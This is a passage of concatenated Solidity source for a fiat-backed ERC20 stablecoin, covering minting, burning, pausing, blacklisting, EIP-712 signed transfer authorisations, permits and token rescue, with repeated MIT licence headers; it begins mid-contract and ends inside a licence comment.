FiatTokenV1(_proxy).name(); } /** * @notice Call symbol() * @return symbol */ function symbol() external view returns (string memory) { return FiatTokenV1(_proxy).symbol(); } /** * @notice Call decimals() * @return decimals */ function decimals() external view returns (uint8) { return FiatTokenV1(_proxy).decimals(); } /** * @notice Call currency() * @return currency */ function currency() external view returns (string memory) { return FiatTokenV1(_proxy).currency(); } /** * @notice Call masterMinter() * @return masterMinter */ function masterMinter() external view returns (address) { return FiatTokenV1(_proxy).masterMinter(); } /** * @notice Call owner() * @dev Renamed to fiatTokenOwner due to the existence of Ownable.owner() * @return owner */ function fiatTokenOwner() external view returns (address) { return FiatTokenV1(_proxy).owner(); } /** * @notice Call pauser() * @return pauser */ function pauser() external view returns (address) { return FiatTokenV1(_proxy).pauser(); } /** * @notice Call blacklister() * @return blacklister */ function blacklister() external view returns (address) { return FiatTokenV1(_proxy).blacklister(); } /** * @notice Call balanceOf(address) * @param account Account * @return balance */ function balanceOf(address account) external view returns (uint256) { return FiatTokenV1(_proxy).balanceOf(account); } /** * @notice Call transferFrom(address,address,uint256) * @param from Sender * @param to Recipient * @param value Amount * @return result */ function transferFrom( address from, address to, uint256 value ) external returns (bool) { return FiatTokenV1(_proxy).transferFrom(from, to, value); } /** * @notice Tear down the contract (self-destruct) */ function tearDown() external onlyOwner { selfdestruct(msg.sender); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { FiatTokenV1 } from "../v1/FiatTokenV1.sol"; import { Rescuable } from "./Rescuable.sol"; /** * @title FiatTokenV1_1 * @dev ERC20 Token backed by fiat reserves */ contract FiatTokenV1_1 is FiatTokenV1, Rescuable { } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { AbstractFiatTokenV1 } from "../v1/AbstractFiatTokenV1.sol"; abstract contract AbstractFiatTokenV2 is AbstractFiatTokenV1 { function _increaseAllowance( address owner, address spender, uint256 increment ) internal virtual; function _decreaseAllowance( address owner, address spender, uint256 decrement ) internal virtual; } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { ECRecover } from "./ECRecover.sol"; /** * @title EIP712 * @notice A library that provides EIP712 helper functions */ library EIP712 { /** * @notice Make EIP712 domain separator * @param name Contract name * @param version Contract version * @return Domain separator */ function makeDomainSeparator(string memory name, string memory version) internal view returns (bytes32) { uint256 chainId; assembly { chainId := chainid() } return keccak256( abi.encode( // keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(name)), keccak256(bytes(version)), chainId, address(this) ) ); } /** * @notice Recover signer's address from a EIP712 signature * @param domainSeparator Domain separator * @param v v of the signature * @param r r of the signature * @param s s of the signature * @param typeHashAndData Type hash concatenated with data * @return Signer's address */ function recover( bytes32 domainSeparator, uint8 v, bytes32 r, bytes32 s, bytes memory typeHashAndData ) internal pure returns (address) { bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, keccak256(typeHashAndData) ) ); return ECRecover.recover(digest, v, r, s); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; /** * @title EIP712 Domain */ contract EIP712Domain { /** * @dev EIP712 Domain Separator */ bytes32 public DOMAIN_SEPARATOR; } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { AbstractFiatTokenV2 } from "./AbstractFiatTokenV2.sol"; import { EIP712Domain } from "./EIP712Domain.sol"; import { EIP712 } from "../util/EIP712.sol"; /** * @title EIP-3009 * @notice Provide internal implementation for gas-abstracted transfers * @dev Contracts that inherit from this must wrap these with publicly * accessible functions, optionally adding modifiers where necessary */ abstract contract EIP3009 is AbstractFiatTokenV2, EIP712Domain { // keccak256("TransferWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)") bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH = 0x7c7c6cdb67a18743f49ec6fa9b35f50d52ed05cbed4cc592e13b44501c1a2267; // keccak256("ReceiveWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)") bytes32 public constant RECEIVE_WITH_AUTHORIZATION_TYPEHASH = 0xd099cc98ef71107a616c4f0f941f04c322d8e254fe26b3c6668db87aae413de8; // keccak256("CancelAuthorization(address authorizer,bytes32 nonce)") bytes32 public constant CANCEL_AUTHORIZATION_TYPEHASH = 0x158b0a9edf7a828aad02f63cd515c68ef2f50ba807396f6d12842833a1597429; /** * @dev authorizer address => nonce => bool (true if nonce is used) */ mapping(address => mapping(bytes32 => bool)) private _authorizationStates; event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce); event AuthorizationCanceled( address indexed authorizer, bytes32 indexed nonce ); /** * @notice Returns the state of an authorization * @dev Nonces are randomly generated 32-byte data unique to the * authorizer's address * @param authorizer Authorizer's address * @param nonce Nonce of the authorization * @return True if the nonce is used */ function authorizationState(address authorizer, bytes32 nonce) external view returns (bool) { return _authorizationStates[authorizer][nonce]; } /** * @notice Execute a transfer with a signed authorization * @param from Payer's address (Authorizer) * @param to Payee's address * @param value Amount to be transferred * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) * @param nonce Unique nonce * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function _transferWithAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) internal { _requireValidAuthorization(from, nonce, validAfter, validBefore); bytes memory data = abi.encode( TRANSFER_WITH_AUTHORIZATION_TYPEHASH, from, to, value, validAfter, validBefore, nonce ); require( EIP712.recover(DOMAIN_SEPARATOR, v, r, s, data) == from, "FiatTokenV2: invalid signature" ); _markAuthorizationAsUsed(from, nonce); _transfer(from, to, value); } /** * @notice Receive a transfer with a signed authorization from the payer * @dev This has an additional check to ensure that the payee's address * matches the caller of this function to prevent front-running attacks. * @param from Payer's address (Authorizer) * @param to Payee's address * @param value Amount to be transferred * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) * @param nonce Unique nonce * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function _receiveWithAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) internal { require(to == msg.sender, "FiatTokenV2: caller must be the payee"); _requireValidAuthorization(from, nonce, validAfter, validBefore); bytes memory data = abi.encode( RECEIVE_WITH_AUTHORIZATION_TYPEHASH, from, to, value, validAfter, validBefore, nonce ); require( EIP712.recover(DOMAIN_SEPARATOR, v, r, s, data) == from, "FiatTokenV2: invalid signature" ); _markAuthorizationAsUsed(from, nonce); _transfer(from, to, value); } /** * @notice Attempt to cancel an authorization * @param authorizer Authorizer's address * @param nonce Nonce of the authorization * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function _cancelAuthorization( address authorizer, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) internal { _requireUnusedAuthorization(authorizer, nonce); bytes memory data = abi.encode( CANCEL_AUTHORIZATION_TYPEHASH, authorizer, nonce ); require( EIP712.recover(DOMAIN_SEPARATOR, v, r, s, data) == authorizer, "FiatTokenV2: invalid signature" ); _authorizationStates[authorizer][nonce] = true; emit AuthorizationCanceled(authorizer, nonce); } /** * @notice Check that an authorization is unused * @param authorizer Authorizer's address * @param nonce Nonce of the authorization */ function _requireUnusedAuthorization(address authorizer, bytes32 nonce) private view { require( !_authorizationStates[authorizer][nonce], "FiatTokenV2: authorization is used or canceled" ); } /** * @notice Check that authorization is valid * @param authorizer Authorizer's address * @param nonce Nonce of the authorization * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) */ function _requireValidAuthorization( address authorizer, bytes32 nonce, uint256 validAfter, uint256 validBefore ) private view { require( now > validAfter, "FiatTokenV2: authorization is not yet valid" ); require(now < validBefore, "FiatTokenV2: authorization is expired"); _requireUnusedAuthorization(authorizer, nonce); } /** * @notice Mark an authorization as used * @param authorizer Authorizer's address * @param nonce Nonce of the authorization */ function _markAuthorizationAsUsed(address authorizer, bytes32 nonce) private { _authorizationStates[authorizer][nonce] = true; emit AuthorizationUsed(authorizer, nonce); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { AbstractFiatTokenV2 } from "./AbstractFiatTokenV2.sol"; import { EIP712Domain } from "./EIP712Domain.sol"; import { EIP712 } from "../util/EIP712.sol"; /** * @title EIP-2612 * @notice Provide internal implementation for gas-abstracted approvals */ abstract contract EIP2612 is AbstractFiatTokenV2, EIP712Domain { // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint256) private _permitNonces; /** * @notice Nonces for permit * @param owner Token owner's address (Authorizer) * @return Next nonce */ function nonces(address owner) external view returns (uint256) { return _permitNonces[owner]; } /** * @notice Verify a signed approval permit and execute if valid * @param owner Token owner's address (Authorizer) * @param spender Spender's address * @param value Amount of allowance * @param deadline The time at which this expires (unix time) * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function _permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) internal { require(deadline >= now, "FiatTokenV2: permit is expired"); bytes memory data = abi.encode( PERMIT_TYPEHASH, owner, spender, value, _permitNonces[owner]++, deadline ); require( EIP712.recover(DOMAIN_SEPARATOR, v, r, s, data) == owner, "EIP2612: invalid signature" ); _approve(owner, spender, value); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { AbstractFiatTokenV1 } from "./AbstractFiatTokenV1.sol"; import { Ownable } from "./Ownable.sol"; import { Pausable } from "./Pausable.sol"; import { Blacklistable } from "./Blacklistable.sol"; /** * @title FiatToken * @dev ERC20 Token backed by fiat reserves */ contract FiatTokenV1 is AbstractFiatTokenV1, Ownable, Pausable, Blacklistable { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; string public currency; address public masterMinter; bool internal initialized; mapping(address => uint256) internal balances; mapping(address => mapping(address => uint256)) internal allowed; uint256 internal totalSupply_ = 0; mapping(address => bool) internal minters; mapping(address => uint256) internal minterAllowed; event Mint(address indexed minter, address indexed to, uint256 amount); event Burn(address indexed burner, uint256 amount); event MinterConfigured(address indexed minter, uint256 minterAllowedAmount); event MinterRemoved(address indexed oldMinter); event MasterMinterChanged(address indexed newMasterMinter); function initialize( string memory tokenName, string memory tokenSymbol, string memory tokenCurrency, uint8 tokenDecimals, address newMasterMinter, address newPauser, address newBlacklister, address newOwner ) public { require(!initialized, "FiatToken: contract is already initialized"); require( newMasterMinter != address(0), "FiatToken: new masterMinter is the zero address" ); require( newPauser != address(0), "FiatToken: new pauser is the zero address" ); require( newBlacklister != address(0), "FiatToken: new blacklister is the zero address" ); require( newOwner != address(0), "FiatToken: new owner is the zero address" ); name = tokenName; symbol = tokenSymbol; currency = tokenCurrency; decimals = tokenDecimals; masterMinter = newMasterMinter; pauser = newPauser; blacklister = newBlacklister; setOwner(newOwner); initialized = true; } /** * @dev Throws if called by any account other than a minter */ modifier onlyMinters() { require(minters[msg.sender], "FiatToken: caller is not a minter"); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. Must be less than or equal * to the minterAllowance of the caller. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) external whenNotPaused onlyMinters notBlacklisted(msg.sender) notBlacklisted(_to) returns (bool) { require(_to != address(0), "FiatToken: mint to the zero address"); require(_amount > 0, "FiatToken: mint amount not greater than 0"); uint256 mintingAllowedAmount = minterAllowed[msg.sender]; require( _amount <= mintingAllowedAmount, "FiatToken: mint amount exceeds minterAllowance" ); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); minterAllowed[msg.sender] = mintingAllowedAmount.sub(_amount); emit Mint(msg.sender, _to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Throws if called by any account other than the masterMinter */ modifier onlyMasterMinter() { require( msg.sender == masterMinter, "FiatToken: caller is not the masterMinter" ); _; } /** * @dev Get minter allowance for an account * @param minter The address of the minter */ function minterAllowance(address minter) external view returns (uint256) { return minterAllowed[minter]; } /** * @dev Checks if account is a minter * @param account The address to check */ function isMinter(address account) external view returns (bool) { return minters[account]; } /** * @notice Amount of remaining tokens spender is allowed to transfer on * behalf of the token owner * @param owner Token owner's address * @param spender Spender's address * @return Allowance amount */ function allowance(address owner, address spender) external override view returns (uint256) { return allowed[owner][spender]; } /** * @dev Get totalSupply of token */ function totalSupply() external override view returns (uint256) { return totalSupply_; } /** * @dev Get token balance of an account * @param account address The account */ function balanceOf(address account) external override view returns (uint256) { return balances[account]; } /** * @notice Set spender's allowance over the caller's tokens to be a given * value. * @param spender Spender's address * @param value Allowance amount * @return True if successful */ function approve(address spender, uint256 value) external override whenNotPaused notBlacklisted(msg.sender) notBlacklisted(spender) returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Internal function to set allowance * @param owner Token owner's address * @param spender Spender's address * @param value Allowance amount */ function _approve( address owner, address spender, uint256 value ) internal override { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @notice Transfer tokens by spending allowance * @param from Payer's address * @param to Payee's address * @param value Transfer amount * @return True if successful */ function transferFrom( address from, address to, uint256 value ) external override whenNotPaused notBlacklisted(msg.sender) notBlacklisted(from) notBlacklisted(to) returns (bool) { require( value <= allowed[from][msg.sender], "ERC20: transfer amount exceeds allowance" ); _transfer(from, to, value); allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); return true; } /** * @notice Transfer tokens from the caller * @param to Payee's address * @param value Transfer amount * @return True if successful */ function transfer(address to, uint256 value) external override whenNotPaused notBlacklisted(msg.sender) notBlacklisted(to) returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @notice Internal function to process transfers * @param from Payer's address * @param to Payee's address * @param value Transfer amount */ function _transfer( address from, address to, uint256 value ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require( value <= balances[from], "ERC20: transfer amount exceeds balance" ); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Function to add/update a new minter * @param minter The address of the minter * @param minterAllowedAmount The minting amount allowed for the minter * @return True if the operation was successful. */ function configureMinter(address minter, uint256 minterAllowedAmount) external whenNotPaused onlyMasterMinter returns (bool) { minters[minter] = true; minterAllowed[minter] = minterAllowedAmount; emit MinterConfigured(minter, minterAllowedAmount); return true; } /** * @dev Function to remove a minter * @param minter The address of the minter to remove * @return True if the operation was successful. */ function removeMinter(address minter) external onlyMasterMinter returns (bool) { minters[minter] = false; minterAllowed[minter] = 0; emit MinterRemoved(minter); return true; } /** * @dev allows a minter to burn some of its own tokens * Validates that caller is a minter and that sender is not blacklisted * amount is less than or equal to the minter's account balance * @param _amount uint256 the amount of tokens to be burned */ function burn(uint256 _amount) external whenNotPaused onlyMinters notBlacklisted(msg.sender) { uint256 balance = balances[msg.sender]; require(_amount > 0, "FiatToken: burn amount not greater than 0"); require(balance >= _amount, "FiatToken: burn amount exceeds balance"); totalSupply_ = totalSupply_.sub(_amount); balances[msg.sender] = balance.sub(_amount); emit Burn(msg.sender, _amount); emit Transfer(msg.sender, address(0), _amount); } function updateMasterMinter(address _newMasterMinter) external onlyOwner { require( _newMasterMinter != address(0), "FiatToken: new masterMinter is the zero address" ); masterMinter = _newMasterMinter; emit MasterMinterChanged(masterMinter); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { Ownable } from "../v1/Ownable.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract Rescuable is Ownable { using SafeERC20 for IERC20; address private _rescuer; event RescuerChanged(address indexed newRescuer); /** * @notice Returns current rescuer * @return Rescuer's address */ function rescuer() external view returns (address) { return _rescuer; } /** * @notice Revert if called by any account other than the rescuer. */ modifier onlyRescuer() { require(msg.sender == _rescuer, "Rescuable: caller is not the rescuer"); _; } /** * @notice Rescue ERC20 tokens locked up in this contract. * @param tokenContract ERC20 token contract address * @param to Recipient address * @param amount Amount to withdraw */ function rescueERC20( IERC20 tokenContract, address to, uint256 amount ) external onlyRescuer { tokenContract.safeTransfer(to, amount); } /** * @notice Assign the rescuer role to a given address. * @param newRescuer New rescuer's address */ function updateRescuer(address newRescuer) external onlyOwner { require( newRescuer != address(0), "Rescuable: new rescuer is the zero address" ); _rescuer = newRescuer; emit RescuerChanged(newRescuer); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; abstract contract AbstractFiatTokenV1 is IERC20 { function _approve( address owner, address spender, uint256 value ) internal virtual; function _transfer( address from, address to, uint256 value ) internal virtual; } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2016 Smart Contract Solutions, Inc. * Copyright (c) 2018-2020 CENTRE SECZ0 * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { Ownable } from "./Ownable.sol"; /** * @notice Base contract which allows children to implement an emergency stop * mechanism * @dev Forked from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/feb665136c0dae9912e08397c1a21c4af3651ef3/contracts/lifecycle/Pausable.sol * Modifications: * 1. Added pauser role, switched pause/unpause to be onlyPauser (6/14/2018) * 2. Removed whenNotPause/whenPaused from pause/unpause (6/14/2018) * 3. Removed whenPaused (6/14/2018) * 4. Switches ownable library to use ZeppelinOS (7/12/18) * 5. Remove constructor (7/13/18) * 6. Reformat, conform to Solidity 0.6 syntax and add error messages (5/13/20) * 7. Make public functions external (5/27/20) */ contract Pausable is Ownable { event Pause(); event Unpause(); event PauserChanged(address indexed newAddress); address public pauser; bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused, "Pausable: paused"); _; } /** * @dev throws if called by any account other than the pauser */ modifier onlyPauser() { require(msg.sender == pauser, "Pausable: caller is not the pauser"); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() external onlyPauser { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() external onlyPauser { paused = false; emit Unpause(); } /** * @dev update the pauser role */ function updatePauser(address _newPauser) external onlyOwner { require( _newPauser != address(0), "Pausable: new pauser is the zero address" ); pauser = _newPauser; emit PauserChanged(pauser); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE 